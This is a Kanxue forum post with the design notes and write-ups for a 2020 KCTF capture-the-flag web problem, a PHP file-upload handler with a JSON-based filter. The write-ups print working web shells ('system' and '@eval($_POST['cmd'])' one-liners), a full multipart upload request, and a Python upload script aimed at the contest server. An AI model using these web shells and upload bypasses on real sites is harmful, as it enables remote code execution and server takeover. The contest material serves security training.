-
-
[推荐]看雪·安恒 2020 KCTF 春季赛 | 第八题设计思路及解析 KCTF
-
发表于: 2020-5-6 18:34 6205
-



出题团队简介

设计思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php if (isset($_FILES[ "file" ][ "tmp_name" ])) { $file = fopen ($_FILES[ "file" ][ "tmp_name" ], "r" ); $data = fread ($file, filesize($_FILES[ "file" ][ "tmp_name" ])); $arr = json_decode($data, true , 2); if (json_last_error() != JSON_ERROR_NONE) { die( "JsonErr" ); } if (count($arr) != 1) { die( "DataErr" ); } $data = $arr[ 'data' ]; $len = strlen ($data); if ($len > 56) { die( "Long" ); } if (preg_match( "/[\[\]`'^=\/\\$.;]+/" , $data)) { die( "no" ); } $name = mt_rand(); $ext = strrchr ($_FILES[ 'file' ][ 'name' ], '.' ); $ext = trim($ext); move_uploaded_file($_FILES[ "file" ][ "tmp_name" ], "upload/" . $name . $ext); echo "upload/" . $name . $ext; } else { highlight_file(__FILE__); } ?> |
攻击方需要构造一个php文件读取根目录/下的flag。
文件必须符合json规范,禁止使用部分特殊符号,且有长度限制。
标准writeup
构造PHP一句话:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | { "data" : "<?php system(pos(array_keys(pos(get_defined_vars()))))?>" } POST / HTTP/1.1 Host: http: //www.bilijk.tk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137 Content-Length: 419 -----------------------------29882803486271100771841892137 Content-Disposition: form-data; name= "file" ; filename= "123456.php" Content-Type: application/octet-stream { "data" : "<?php system(pos(array_keys(pos(get_defined_vars()))))?>" } -----------------------------29882803486271100771841892137 Content-Disposition: form-data; name= "submit" Submit -----------------------------29882803486271100771841892137-- |
利用上传后的php文件,读取根目录中的flag。

解析过程


下载压缩文件后获得服务器地址:
1 | http: //47.102.223.17:2333/ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php if (isset($_FILES[ "file" ][ "tmp_name" ])) { $file = fopen ($_FILES[ "file" ][ "tmp_name" ], "r" ); $data = fread ($file, filesize($_FILES[ "file" ][ "tmp_name" ])); //这里存在json解析执行任意远程代码漏洞 $arr = json_decode($data, true , 2); //判断文件内容是否为json if (json_last_error() != JSON_ERROR_NONE) { die( "JsonErr" ); } //判断json是否只有一个节点 if (count($arr) != 1) { die( "DataErr" ); } //取出data节点的数据 $data = $arr[ 'data' ]; //判断文本长度是否小于56 $len = strlen ($data); if ($len > 56) { die( "Long" ); } //只要json节点name不是data,这个正则就直绕过了 if (preg_match( "/[\[\]`'^=\/\\$.;]+/" , $data)) { die( "no" ); } //生成一个随机的文件名 $name = mt_rand(); $ext = strrchr ($_FILES[ 'file' ][ 'name' ], '.' ); $ext = trim($ext); //把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关 move_uploaded_file($_FILES[ "file" ][ "tmp_name" ], "upload/" . $name . $ext); //打印新文件路径 echo "upload/" . $name . $ext; } else { //高亮显示当前文件代码 highlight_file(__FILE__); } ?> |
1 | { "ok" : "<?php @eval($_POST['cmd']); ?>" } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import requests url = 'http://47.102.223.17:2333/' def upload_file(): files = [ ( 'file' , open( 'getshell.php' , 'rb' )) ] response = requests.request( "POST" , url, files=files) print(response.text) if __name__ == '__main__' : upload_file() |



1 2 | <?php system( "find / -name *flag*" ) ?> <h1>xtgo writeup< /h1 > |
赞赏
他的文章
赞赏
雪币:
留言: